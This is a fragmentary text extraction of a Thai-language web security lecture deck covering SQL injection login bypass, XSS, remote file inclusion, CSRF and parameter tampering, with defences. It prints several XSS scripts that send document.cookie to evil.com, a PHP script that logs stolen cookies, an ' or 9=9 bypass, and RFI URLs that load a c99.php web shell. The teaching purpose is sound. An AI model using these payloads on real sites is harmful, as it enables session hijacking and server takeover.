Professional Documents
Culture Documents
WebSecurity 20170412-0032
WebSecurity 20170412-0032
net/publication/315943371
Web Security -
CITATIONS READS
0 15,059
1 author:
Thawatchai Chomsiri
Mahasarakham University
41 PUBLICATIONS 156 CITATIONS
SEE PROFILE
Some of the authors of this publication are also working on these related projects:
All content following this page was uploaded by Thawatchai Chomsiri on 11 April 2017.
Web Security
ความปลอดภัยของเว็บ
การป้องกันเว็บไซต์ให้ พ้นภัยจากการโจมตีของ “แฮกเกอร์ ”
เรี ยนรู้จากวิธีการโจมตีเช่น SQL Injection - Cross Site
Scripting (XSS) - Session Hijacking เพื่อให้ เห็นช่องโหว่
และสามารถนาไปสู่การป้องกันที่มีประสิทธิภาพ
<< ความปลอดภัยของเว็บ - Web Security - ธวัชชัย ชมศิ ริ >> 1
โปรแกรม Ferret
<< ความปลอดภัยของเว็บ - Web Security - ธวัชชัย ชมศิ ริ >> 9
(ตัวอย่างที่ 1)
<script>
idata = new Image;
idata.src="http://www.evil.com/path/cookie.ph
p?cook="+escape(document.cookie);
</script>
(ตัวอย่างที่ 2)
<script>
var x=new Image();
x.src='http://www.evil.com/path/cookie.php?co
ok='+document.cookie;
</script>
(ตัวอย่างที่ 3)
<script>
var cookie=document.cookie;
document.write("<img
src=www.evil.com/path/cookie.php?cook="+cookie+">"
);
</script>
<< ความปลอดภัยของเว็บ - Web Security - ธวัชชัย ชมศิ ริ >> 12
สัญ ลัก ษณ์ ;-- หมายถึ งการสิน้ สุด ค าสั่ง SQL ซึ่งแฮก
เกอร์ จ ะใส่ มั น เข้ าไปเพื่ อ ให้ เครื่ อ งหมาย Single Quote ตั ว
สุ ด ท้ ายเป็ น โมฆ ะ (Single Quote ตั ว สุ ด ท้ ายได้ มาจาก
โปรแกรมทางฝั่ งเซิร์ฟเวอร์ ) ผลสุดท้ ายแล้ วจะทาให้ มีค่าสตริ งที่
ไม่ใช่ค่าว่างเปล่าถูกส่งกลับไปยังตัวแปร strAuthCheck ซึ่งมี
ผลท าให้ ค่ า ตั ว แปร boolAuthenticated มี ค่ า เป็ น TRUE ซึ่ ง
หมายถึงการตรวจสอบสิทธิ์นั ้นผ่าน
นอกจากการข้ ามผ่านการตรวจสอบสิทธิ์โดยการป้อนค่า
อินพุตดังตัวอย่างที่กล่าวมาแล้ ว แฮกเกอร์ ยงั สามารถข้ ามผ่าน
การตรวจสอบสิทธิ์โดยการป้อนในลักษณะดังต่อไปนี ้
การข้ามผ่านการตรวจสอบสิ ทธิ์
ซึง่ ก็คือ
SELECT * FROM tbl_Users WHERE
Username = '' or 9=9
o ได้ สิท ธิ์ เป็ น ผู้ใช้ ที่ มีชื่อ เดี ย วกัน กับ Username ที่
ระบุ จะเกิดได้ ในกรณี ที่ แฮกเกอร์ มีความชานาญ
จนสามารถที่จะบังคับได้ ว่าจะล็อกอินเข้ าเป็ นผู้ใช้
รายใด
http://www.victim.com/main.php?page=news.php
ไฟล์ php ตั ว หลั ก ที่ อ ยู่ บ นเว็ บ ไซต์ ข องเหยื่ อ มี ชื่ อ ไฟล์ ว่ า
main.php ท าการเรี ย กรวม (Include) เอาไฟล์ ชื่ อ news.php
เพื่อนาเนื อ้ หาในไฟล์ดังกล่าวมาแสดงตรงกลางหน้ าเว็บ การ
เขียนโปรแกรมลักษณะนี ้มักจะพบได้ บ่อยในซอฟต์แวร์ ประเภท
CMS (Content Management System) เ ช่ น Mambo,
Moodle รวมทั ้ง AppServ, PHP MyAdmin และ PHP Nuke
ในการบราวซ์ไปยังหน้ าต่าง ๆ บนเว็บไซต์ที่มีช่องโหว่นี ้
แฮกเกอร์ มัก จะพยายามมองไปยังจุด ที่ จ ะบ่ งบอกถึ ง ข้ อ มูล
เกี่ยวกับการลิ ้งค์ไปยังหน้ าอื่นเช่นการสังเกตุที่ช่อง Address ที่
อยู่ด้านบน และ Status Bar ที่อยู่ด้านล่างของบราวเซอร์ เมื่อ
แฮกเกอร์ พบการเรี ย กในลั ก ษณ ะไฟล์ อิ น คลู ส ชั่ น (File
Inclusion) เขาก็มกั จะปรับเปลี่ยนค่าพารามิเตอร์ ต่ าง ๆ ลองดู
<< ความปลอดภัยของเว็บ - Web Security - ธวัชชัย ชมศิ ริ >> 33
http://www.victim.com/main.php?page=http://www
.hacker.com/c99.php
http://www.victim.com/main.php?page=http://www
.hacker.com/c99.php
http://www.victim.com/c99.php
<< ความปลอดภัยของเว็บ - Web Security - ธวัชชัย ชมศิ ริ >> 36
http://www.victim.com/main.php?page=15
- การป้องกันการติดต่อพอร์ ต 80 โดยกาหนดที่เว็บเซิร์ฟเวอร์
เซิร์ฟเวอร์ ที่เป็ น Linux จะมี Firewall ที่ชื่อว่า IPTABLES
ติดมาให้ ใช้ งาน ดังนั ้นเราเพียงแต่ทาการ Enable ให้ IPTABLE
ทางานแล้ วทาการตั ้งกฎเพิ่มเข้ าไปเพียงบรรทัดเดียวก็สามารถ
ป้ อ งกั น การค อน เน็ ค พ อร์ ต 80 ได้ ตั ว อย่ า งของก ฎใน
IPTABLES ที่ใช้ มีลกั ษณะดังนี ้
http://www.victim.com/main.php?page=http://www
.hacker.com:25/c99.php
<< ความปลอดภัยของเว็บ - Web Security - ธวัชชัย ชมศิ ริ >> 42
# cookie.php
<?
$cook=$_GET['cook'];
$cooks=explode("; ", $cook);
$text="";
if(!empty($cooks)) foreach($cooks as $k =>
$v)
{
if(preg_match("/^(.*?)\=(.*)$/", $v, $r))
$text.=urldecode($r[1])."=".urldecode($r[2])."
\r\n";
else $text.="cannot decode $v";
}
# mail ("attacker@attacker.ru", "cook",
$text);
$myFile = "data.txt";
$fh = fopen($myFile, 'a') or die("can't open
file");
$stringData = $cook; fwrite($fh, $stringData);
$stringData = "\n"; fwrite($fh, $stringData);
fclose($fh);
?>
<script>
idata = new Image;
idata.src="http://www.evil.com/cookie.php
?cook="+escape(document.cookie);
</script>
เมื่ อ script ข้ างต้ น ถูก post ไว้ บนเว็บ บอร์ ด แล้ วเหยื่ อ
หลงกลเข้ ามาอ่ านกระทู้ script ดังกล่าวจะถูก ส่งจากเครื่ อ ง
<< ความปลอดภัยของเว็บ - Web Security - ธวัชชัย ชมศิ ริ >> 50
หรื อ
<< ความปลอดภัยของเว็บ - Web Security - ธวัชชัย ชมศิ ริ >> 53
<script>
idata = new Image;
idata.src="http://www.evil.com/mambo/data/cookie.
php?cook="+escape(document.cookie);
</script>
(ตัวอย่างที่ 1)
<script>
idata = new Image;
idata.src="http://www.evil.com/path/cookie.php?co
ok="+escape(document.cookie);
</script>
(ตัวอย่างที่ 2)
<script>
var x=new Image();
x.src='http://www.evil.com/path/cookie.php?cook='
+document.cookie;
</script>
<< ความปลอดภัยของเว็บ - Web Security - ธวัชชัย ชมศิ ริ >> 54
(ตัวอย่างที่ 3)
<script>
var cookie=document.cookie;
document.write("<img
src=www.evil.com/path/cookie.php?cook="+cookie+">");
</script>
(ตัวอย่างที่ 5)
<script>
document.location.replace('http://www.evil.com/pa
th/cookie.php?cook='+document.cookie);
</script>
2. บัน ทึก เครื่ อ งหมาย < หรื อ > ลงฐานข้ อ มูล แต่ ป้อ งกัน ใน
ขั ้นตอนการส่ง ไปยังบราวเซอร์ โดยให้ เขียนเครื่ องหมายน้ อ ย
กว่า ( < ) และเครื่ องหมายมากกว่า ( > ) ลงฐานข้ อมูลเลย แต่
เมื่ อมี การ Request จาก Browser เพื่ อ น าไปแสดงผลก็ ให้ ส่ง
< และ > ไปแทน
3. ป้ อ งกั น เครื่ อ งหมาย < หรื อ > ตั ง้ แต่ ขั น้ ตอนการ Post
ข้ อความ คือโปรแกรมจะต้ องไม่รับเครื่ องหมาย < หรื อ > และ
แจ้ งผู้ใช้ ที่ พ ยายามใส่เครื่ อ งหมายดังกล่ าว (มี ข้ อ ความแจ้ ง
เตือน) และจากนั ้นให้ โปรแกรมย้ อนกลับไปในหน้ าที่มีการป้อน
ข้ อมูลใหม่
ใด เช่นเว็บไซต์ของมหาวิทยาลัยที่ยอมให้ อาจารย์ทาการแก้ ไข
เกรดนักศึกษาผ่านทางเว็บได้ ความเสียหายสูงสุดก็คือการถูก
โกงเพื่อแก้ เกรด ไม่ได้ เสียหายถึงขั ้นถูกลักลอบโอนเงินออกไป
เป็ นต้ น ช่องโหว่ CSRF นี พ้ บได้ มากตามเว็บบอร์ ดที่ยอมให้ มี
การโพสต์รูปขึ ้นไปได้ ซึง่ การโจมตีไม่ได้ มงุ่ เป้าไปที่เว็บบอร์ ด แต่
จะเป็ นการโจมตีเว็บไซต์อื่นที่มีความสาคัญมากกว่า แต่ใช้ เว็บ
บอร์ ดเป็ นสถานที่ฝากลิ ้งค์หลอกเท่านั ้นเอง
Apart) ตัว อย่ างเช่ น เมื่ อ ผู้ใช้ ก รอกข้ อ มูล ในฟอร์ ม เพื่ อ
ปรั บ ปรุ งข้ อ มูล แล้ วกด Submit เว็บ ไซต์ จ ะต้ อ งส่งหน้ า
เว็บเพ็จที่มี CAPTCHA กลับมาเพื่อให้ ผ้ ใู ช้ ปอ้ นยืนยันอีก
ครัง้ หนึ่ง ซึง่ ผู้ใช้ จะต้ องกรอกตัวอักษรให้ ตรงกับในรูปเพื่อ
เป็ นการยืนยัน (CAPTCHA เป็ นสิ่งที่มนุษย์สามารถอ่าน
ได้ ง่ายแต่ยากสาหรับโปรแกรมอัตโนมัติ)
ตัวอย่าง CAPTCHA
6. Parameter Manipulation
ก่อน
<input name="masteraccess" type="hidden" value="N">
หลัง
<input name="masteraccess" type="hidden" value="Y">
http://www.victim.com/changepassword.asp?username=thawa
tchai&newpass=abc123
<< ความปลอดภัยของเว็บ - Web Security - ธวัชชัย ชมศิ ริ >> 69
ประวัตผิ ้ ูเขียน
ธวัชชัย ชมศิริ
อาจารย์ประจาภาควิชาเทคโนโลยีสารสนเทศ
คณะวิทยาการสารสนเทศ
มหาวิทยาลัยมหาสารคาม
ประสบการณ์ การทางาน
ด้ านคอมพิวเตอร์
อาจารย์ ผ้ ู สอน (วิ ช า Computer Network และวิ ช า Computer and
Network Security) มหาวิทยาลัยมหาสารคาม และเคยเป็ นอาจารย์
พิเศษสอนระดับปริญญาโทให้ กบั มหาวิทยาลัยขอนแก่น
ต าแหน่ ง Network Engineer / Network Administrator หน่ ว ยงาน
เอกชน ระยะเวลา 5 ปี (2543-2547)
ตาแหน่ง Programmer หน่วยงานเอกชน ระยะเวลา 5 ปี (2538-2542)
การศึกษา
วท.ม. เทคโนโลยี ส ารสนเทศ คณะเทคโนโลยี ส ารสนเทศ สถาบัน
เทคโนโลยีพระจอมเกล้ าเจ้ าคุณทหารลาดกระบัง
วท.บ. สถิ ติ คณะวิ ท ยาศาสตร์ มหาวิ ท ยาลั ย มหาสารคาม (จบ
การศึกษาเมื่อปี 2538)
<< ความปลอดภัยของเว็บ - Web Security - ธวัชชัย ชมศิ ริ >> 75
อ. ธวัช ชัย ชมศิ ริ เป็ น ที่ ร้ ู จัก ในวงการคอมพิ ว เตอร์
เมื อ งไทยในฐานะผู้เขี ย นหนัง สื อ "HACK Step by
Step" ซึ่ง หนัง สื อ เล่ ม นี เ้ คยติ ด อัน ดับ Top 5 - best
seller book ในปี 2546
ติดตัง/ดู
้ แล ระบบเครื อข่ายคอมพิวเตอร์
อย่างมืออาชีพ"
<< ความปลอดภัยของเว็บ - Web Security - ธวัชชัย ชมศิ ริ >> 76
วิทยากร / ผู้เชี่ยวชาญ